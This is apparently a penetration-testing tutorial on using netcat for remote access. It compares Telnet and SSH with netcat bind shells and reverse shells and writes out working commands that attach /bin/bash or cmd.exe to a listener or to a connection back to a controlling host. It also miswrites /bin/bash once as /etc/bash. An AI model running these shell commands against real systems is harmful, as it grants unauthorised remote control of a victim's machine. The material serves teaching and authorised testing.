One of the most important things in hacking – and penetration testing – is to maintain a remote access to the victim. Such remote access would enable us to control the compromised system remotely with the highest possible privileges. While there are different forms of remote access based on the underlying protocol, they all have one aspect in common, and that is the ability to execute shell commands on the target system. On a Unix/Linux system, shell is provided by the program /bin/bash (or the older one /bin/sh), while on a Windows system, shell is accessed using the program %WINDIR%\System32\cmd.exe. Thus, any remote shell in one form or another is going to involve either of these programs. We will utilize /etc/bash to channel shell access over a TCP connection to a Unix/Linux, and we will utilize %WINDIR%\System32\cmd.exe to do the same for a Windows system.
It is worth mentioning here that traditionally, there have been network services designed to provide a legitimate remote shell to systems; and these services are Telnet and the more secure one, SSH (Secure Shell). These services work by listening on a certain TCP port (23 in case of Telnet, and 22 in case of SSH) and once a client connects to that port, the service prompts the client for authentication; and upon successful authentication, the client can remotely control the server by sending commands which get executed on the server. Responses are sent back to the client over the same protocol. We should note here that the “client” is the controller, while the “server” is the controlled. The client initiates the connection with the server, and then, it issues the commands to the server. This is illustrated in the image below:
However, when we are conducting a white-hat hacking, we don’t always want to use services like Telnet or SSH; rather, we want to have something that is quick, stealth, and flexible.
Enter the Netcat
Netcat has been called the “Swiss-Army Knife” of network hacking. It is a multi-purpose tool used for all sorts of network manipulation. Some of the built-in features of netcat are:
- Connecting to any TCP/UDP service and sending text or binary data.
- Listening on any TCP/UDP port and receiving data.
- Executing a certain program under a certain condition.
- Port-forwarding, proxying, and traffic tunneling.
- DNS resolution, forward and reverse.
- Packet Capturing.
In this tutorial, we will only work with the first three features mentioned above to have two types of shell access to a remote machine. These two types are: bind shell and reverse shell.
“bind” is a term in network programming which means assigning a port number to a specific socket. Binding will reserve the port number to a particular network service which is going to listen for connections over that port. Taking the example of Telnet, we can say that Telnet binds port 23 to its socket. Bind shell with netcat will provide us with the same model that Telnet or SSH provides; that is, the client is the controlling system, while the server is the controlled system.
To setup bind shell with Netcat, we will do the following actions on the server:
- Instruct Netcat to listen on a certain port number, e.g., 12345.
- Attach either /bin/bash or %WINDIR%\System32\cmd.exe to Netcat.
And these actions are implemented together with a simple command:
# netcat -v -l -p 12345 -e /bin/bash
> nc -v -l -p 12345 -e cmd.exe
Finally, on our client machine, we will issue the following command to connect to the server and eventually control it – assuming the server’s IP address is 192.168.56.1:
# netcat 192.168.56.1 12345
One of the drawbacks of “bind shell” is that if the target system – the one we want to control – is behind a firewall, our listening port might be blocked. Let’s even further assume that the firewall is blocking all incoming ports to the target system, and only allowing certain outbound ports. That is, the target system can initial connection to the outside world on certain ports. In this case, we cannot use bind shell. The following diagram illustrates this scenario:
In this scenario, we are going to set our listener on the controlling system, and then, instruct the target system to initiate a connection to our controlling system. By doing so, the controlling system is now the server – since it is the one listening on a certain port number – while the target system is the client. It is for this reason that this type of shell is called “reverse” shell. The direction of connection initiation is opposite to the commands direction:
To implement this with Netcat, we need to set a listener on our controlling system. We will use port number 12345 for the sake of this example:
# netcat -v -l -p 12345
Then, on the target system, we will issue either of these commands, depending on the OS:
# netcat -e /bin/bash 192.168.56.100 12345
> nc -e cmd.exe 192.168.56.100 12345
The following table summarizes the commands and steps to set either bind shell or reverse shell on a target system. Again, We will assume the IP address of the target system is 192.168.56.1, while the IP address of the controlling system is 192.168.56.100: